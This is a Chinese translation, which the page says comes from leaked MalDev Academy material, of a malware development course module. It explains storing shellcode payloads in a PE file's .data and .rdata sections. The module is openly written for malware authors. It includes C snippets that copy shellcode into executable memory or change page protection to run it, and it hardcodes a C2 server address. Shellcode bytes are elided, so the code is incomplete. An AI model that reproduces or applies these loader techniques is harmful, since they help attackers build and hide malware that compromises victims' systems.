0%
毅种循环

模块 13 - Payload 放置 - .data 和 .rdata 节

恶意软件开发课程 - Payload 放置 - .data 和 .rdata 节


模块 13 - Payload 放置 - .data 和 .rdata 节#

[!IMPORTANT] 本知识库声明

本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示实践心得

  1. 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
  2. 版权归属:原始知识产权归原作者/官方所有。
  3. 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程
  4. 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。

简介#

作为恶意软件开发者,可以有多种选择来决定将 payload 存储在 PE 文件的何处。根据选择,payload 将驻留在 PE 文件内的不同节中。Payload 可以存储在以下 PE 节之一中:

  • .data
  • .rdata
  • .text
  • .rsrc

本模块演示如何将 payload 存储在 .data.rdata PE 节中。

💡 初学者提示:为什么要学习Payload放置?

Payload = 恶意代码/Shellcode

例如:
- Msfvenom生成的shellcode
- Cobalt Strike的beacon
- 自定义的注入代码
plaintext

为什么需要选择不同的节?

需求推荐节原因
加密的Payload.data需要运行时解密(可写)
只读Payload.rdata不需要修改
直接执行.text代码节,有执行权限
隐藏大文件.rsrc看起来像资源文件

对比表:

PE节权限用途适合的Payload类型
.textR-X可执行代码直接运行的shellcode
.dataRW-已初始化数据加密的payload
.rdataR—只读数据未加密的payload
.rsrcR—资源大型payload、图片伪装

选择建议:

场景1:Payload需要XOR解密
→ 放在 .data 节(可写,解密后修改)

场景2:Payload不需要修改
→ 放在 .rdata 节(只读,节省空间)

场景3:Payload要直接执行
→ 放在 .text 节(可执行)

场景4:Payload很大(>100KB)
→ 放在 .rsrc 节(伪装成资源)
plaintext

.data 节#

PE 文件的 .data 节是程序可执行文件的一个部分,包含已初始化的全局和静态变量。此节是可读和可写的,这使其适合在运行时需要解密的加密 payload。如果 payload 是全局或局部变量,它将存储在 .data 节中,具体取决于编译器设置。

下面的代码片段显示了将 payload 存储在 .data 节中的示例。

下图显示了上述代码片段在 xdbg 中的输出。请注意图像中的几个项目:

  1. .data 节从地址 0x00007FF7B7603000 开始。
  2. Data_RawData 的基地址是 0x00007FF7B7603040,它是 .data 节的偏移量 0x40
  3. 请注意,该区域的内存保护被指定为 RW,表示它是一个读写区域。

图片
图片

📚 知识扩展:.data 节详解

什么是 .data 节?

.data = 已初始化的全局/静态变量

例如:
int globalVar = 42;           // 存储在 .data
static int staticVar = 100;   // 存储在 .data
const int constVar = 5;       // 存储在 .rdata(不是.data)
unsigned char payload[] = {...}; // 存储在 .data
plaintext

内存权限:RW-(读+写)

R = Read   (可读)
W = Write  (可写)  ← 关键!可以解密
- = No Execute (不可执行)
plaintext

为什么适合加密的Payload?

在x64dbg中查看:

1. 打开程序
2. 查看内存映射 (Memory Map)
3. 找到 .data 节:
   地址:0x00007FF7B7603000
   大小:0x1000 (4KB)
   权限:RW-
   类型:IMG (镜像)

4. 转到地址 0x00007FF7B7603040
5. 看到 payload:FC 48 83 E4 F0 ...
plaintext

变量声明位置的影响:

// 全局变量 → .data节
unsigned char global_payload[] = {...};

int main() {
    // 局部变量 → 栈上(不在.data)
    unsigned char local_payload[] = {...};
    
    // 静态局部变量 → .data节
    static unsigned char static_payload[] = {...};
    
    return 0;
}
c

实用技巧:

// 技巧1:数组大小可调
#define PAYLOAD_SIZE 276
unsigned char payload[PAYLOAD_SIZE] = {
    FC, 0x48, ...
};

// 技巧2:多个payload
unsigned char payload1[] = {...};
unsigned char payload2[] = {...};
unsigned char payload3[] = {...};

// 技巧3:组合使用(后续模块会学)
unsigned char encrypted[] = {...};   // .data - 加密的
const unsigned char key[] = {...};   // .rdata - 密钥
c

.rdata 节#

使用 const 限定符指定的变量被写为常量。这些类型的变量被视为”只读”数据。.rdata 中的字母”r”表示这一点,任何尝试更改这些变量的操作都将导致访问冲突。此外,根据编译器及其设置,.data.rdata 节可能会合并,甚至合并到 .text 节中。

下面的代码片段显示了将 payload 存储在 .rdata 节中的示例。代码本质上与前面的代码片段相同,只是变量现在以 const 限定符为前缀。

下图显示了在 PE 文件上运行 dumpbin.exe 的输出。安装 Visual Studio 的 C++ 运行时将自动下载 dumpbin.exe。

命令:dumpbin.exe /ALL <binary-file.exe>

向下滚动并查看 .rdata 节的详细信息,其中包含以原始二进制格式存储的数据。

图片
图片

继续向下滚动显示分配的 payload,在下图中突出显示。

图片
图片

💡 初学者提示:.rdata 节详解

const关键字的魔法:

// 没有const → .data节(可写)
unsigned char payload1[] = {...};

// 有const → .rdata节(只读)
const unsigned char payload2[] = {...};

// 只改一个关键字,节就变了!
c

内存权限:R—(只读)

R = Read   (可读)
- = No Write (不可写)  ← 关键!
- = No Execute (不可执行)
plaintext

为什么用.rdata节?

优点:

  1. 安全性更高:防止意外修改
  2. 节省内存:多个进程可以共享只读数据
  3. 性能优化:编译器可以优化只读数据

缺点:

  1. 不能加密:无法在运行时解密(不可写)
  2. 必须明文存储:payload容易被检测

尝试写入会发生什么?

const unsigned char payload[] = {0xFC, 0x48, ...};

// ❌ 尝试修改
payload[0] = 0x90;  // 💥 访问冲突!程序崩溃

// 错误信息:
// Exception thrown: write access violation
// payload was 0x7FF7B7602000
c

如何使用.rdata中的payload?

const unsigned char rdata_payload[] = {...};

// 方法1:复制到可执行内存
void* exec = VirtualAlloc(NULL, sizeof(rdata_payload), 
                          MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, rdata_payload, sizeof(rdata_payload));
((void(*)())exec)();  // 执行

// 方法2:改变内存保护
DWORD oldProtect;
VirtualProtect((LPVOID)rdata_payload, sizeof(rdata_payload),
               PAGE_EXECUTE_READ, &oldProtect);
((void(*)())rdata_payload)();  // 直接执行
c

dumpbin 工具使用:

节合并现象:

根据编译器设置,可能会看到:

场景1:独立的节
.text   (代码)
.data   (可写数据)
.rdata  (只读数据)

场景2:合并的节(Release优化)
.text   (代码 + 只读数据)
.data   (可写数据)

场景3:完全合并(极端优化)
.text   (所有内容)
plaintext

🎯 本模块学习要点

核心概念:

  1. ✅ Payload可以存储在不同PE节中
  2. ✅ .data节可读可写,适合加密payload
  3. ✅ .rdata节只读,适合明文payload
  4. ✅ const关键字决定存储位置
  5. ✅ 内存权限影响payload的使用方式

.data vs .rdata 对比表:

特性.data节.rdata节
声明方式unsigned char p[]const unsigned char p[]
内存权限RW-R—
可修改✅ 是❌ 否
适合加密✅ 是❌ 否
适合明文✅ 是✅ 是
内存共享是(只读可共享)

实践建议:

选择.data节的情况:

// 1. Payload需要解密
unsigned char encrypted[] = {...};
DecryptXOR(encrypted, sizeof(encrypted), key);

// 2. Payload需要动态修改
unsigned char template[] = {...};
PatchPayload(template, target_addr);

// 3. 多阶段加载
unsigned char stage1[] = {...};
// 解密stage1,获取stage2...
c

选择.rdata节的情况:

// 1. 小型明文shellcode
const unsigned char calc_shellcode[] = {...};

// 2. 配置数据
const char c2_server[] = "192.168.1.100";
const int c2_port = 443;

// 3. 不需要修改的资源
const unsigned char logo[] = {...};
c

工具使用:

  • PE-Bear:图形化查看PE节
  • dumpbin:命令行查看PE信息
  • x64dbg:动态查看内存布局

下一步: 学习.text节和.rsrc节的payload存储